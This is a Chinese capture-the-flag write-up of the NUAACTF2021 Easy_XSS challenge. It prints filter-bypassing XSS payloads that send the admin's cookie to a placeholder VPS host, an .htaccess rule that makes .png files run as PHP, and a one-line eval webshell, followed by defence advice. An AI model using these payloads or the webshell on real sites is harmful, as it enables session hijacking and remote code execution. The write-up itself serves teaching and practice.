NUAACTF2021 Easy_XSS 复现
字数 1012 2025-08-05 11:39:30

NUAACTF2021 Easy_XSS 漏洞复现与利用分析

1. 题目概述

题目名称:NUAACTF2021 Easy_XSS
题目类型:Web安全/XSS/文件上传绕过
难度等级:中等
目标:获取管理员权限并访问upload.php页面

2. 环境信息

  • 网站功能:博客系统,用户可以发布文章
  • 关键页面:upload.php(需要admin权限)
  • 服务器环境:
    • PHP 7.4.0
    • Apache 2.4.38

3. 漏洞分析

3.1 XSS漏洞

过滤机制分析

系统对用户输入进行了过滤,函数如下:

function render_tags($str) {
  $str = preg_replace('/script|img|svg|on|document|window/i', "" ,$str);
  return $str;
}

该函数会将以下关键词替换为空字符串:

  • script
  • img
  • svg
  • on
  • document
  • window

绕过方法

方法一:双写绕过

<imimgg src='#' oonnerror="windwindowow.locatioonn.href='//VPSIP:PORT/'+documdocumentent.cookie">

方法二:iframe标签利用

<iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#116;&#111;&#112;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#46;&#104;&#114;&#101;&#102;&#61;&#39;&#47;&#47;&#86;&#80;&#83;&#73;&#80;&#58;&#80;&#79;&#82;&#84;&#47;&#39;&#43;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;"></iframe>

3.2 文件上传漏洞

upload.php代码分析

<?php
require_once 'init.php';
error_reporting(0);
if ($_SESSION['is_admin'] !== 1) {
    echo "You are not admin! You can't access this page.";
    highlight_file(__FILE__);
    die();
}

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["submit"])) {
    $tmp_name = $_FILES["upload"]["tmp_name"];
    $name = basename($_FILES["upload"]["name"]);
    if (!$tmp_name) {
        die();
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph/i", $extension)) {
        die("illegal suffix!");
    }
    $upload_file_path = $userdir . "/" . $name;
    if (!move_uploaded_file($tmp_name, $upload_file_path)) {
        die("Error!");
    }
    echo "Your dir " . $userdir . ' <br>';
    echo "Your file: ";
    var_dump(scandir($userdir));
}

上传限制分析

  1. 需要admin权限
  2. 文件扩展名检查:
    • 获取最后一个点后面的扩展名
    • 使用preg_match("/ph/i", $extension)检查,禁止包含"ph"的扩展名

绕过方法

方法一:.htaccess文件利用

上传.htaccess文件内容:

SetHandler application/x-httpd-php

AddType application/x-httpd-php .png

方法二:上传非ph扩展名的webshell

例如:miao.png

<?php @eval($_GET['miao']);?>

4. 完整攻击流程

4.1 获取管理员权限

  1. 注册普通用户账号
  2. 创建包含XSS payload的文章
  3. 管理员访问后窃取cookie(PHPSESSID)
  4. 修改本地cookie获取admin权限

4.2 文件上传利用

  1. 使用Python脚本上传.htaccess文件
  2. 上传webshell文件(如miao.png)
  3. 访问webshell执行命令

5. 防御建议

5.1 XSS防御

  1. 使用更严格的过滤机制,如:
    function render_tags($str) {
      $str = preg_replace('/script|img|svg|on|document|window/i', "hacker" ,$str);
      return $str;
    }
    
  2. 使用HTML实体编码
  3. 实施CSP策略

5.2 文件上传防御

  1. 白名单验证文件扩展名
  2. 检查文件内容而不仅是扩展名
  3. 禁用.htaccess文件上传
  4. 限制上传目录的PHP执行权限

6. 拓展知识

6.1 iframe srcdoc属性

srcdoc属性允许直接在属性值中写入HTML内容,可以用于XSS攻击:

<iframe srcdoc="<script>alert(1)</script>"></iframe>

6.2 文件上传检测绕过技术

  1. 双扩展名:test.php.png
  2. 大小写混淆:test.pHp
  3. 特殊字符:test.php%00.png
  4. .htaccess利用

7. 参考资源

  1. .htaccess利用与Bypass方式总结
  2. 文件上传漏洞(绕过姿势)
  3. XSS总结
NUAACTF2021 Easy_ XSS 漏洞复现与利用分析 1. 题目概述 题目名称:NUAACTF2021 Easy_ XSS 题目类型:Web安全/XSS/文件上传绕过 难度等级:中等 目标:获取管理员权限并访问upload.php页面 2. 环境信息 网站功能:博客系统,用户可以发布文章 关键页面:upload.php(需要admin权限) 服务器环境: PHP 7.4.0 Apache 2.4.38 3. 漏洞分析 3.1 XSS漏洞 过滤机制分析 系统对用户输入进行了过滤,函数如下: 该函数会将以下关键词替换为空字符串: script img svg on document window 绕过方法 方法一:双写绕过 方法二:iframe标签利用 3.2 文件上传漏洞 upload.php代码分析 上传限制分析 需要admin权限 文件扩展名检查: 获取最后一个点后面的扩展名 使用 preg_match("/ph/i", $extension) 检查,禁止包含"ph"的扩展名 绕过方法 方法一:.htaccess文件利用 上传.htaccess文件内容: 或 方法二:上传非ph扩展名的webshell 例如:miao.png 4. 完整攻击流程 4.1 获取管理员权限 注册普通用户账号 创建包含XSS payload的文章 管理员访问后窃取cookie(PHPSESSID) 修改本地cookie获取admin权限 4.2 文件上传利用 使用Python脚本上传.htaccess文件 上传webshell文件(如miao.png) 访问webshell执行命令 5. 防御建议 5.1 XSS防御 使用更严格的过滤机制,如: 使用HTML实体编码 实施CSP策略 5.2 文件上传防御 白名单验证文件扩展名 检查文件内容而不仅是扩展名 禁用.htaccess文件上传 限制上传目录的PHP执行权限 6. 拓展知识 6.1 iframe srcdoc属性 srcdoc 属性允许直接在属性值中写入HTML内容,可以用于XSS攻击: 6.2 文件上传检测绕过技术 双扩展名:test.php.png 大小写混淆:test.pHp 特殊字符:test.php%00.png .htaccess利用 7. 参考资源 .htaccess利用与Bypass方式总结 文件上传漏洞(绕过姿势) XSS总结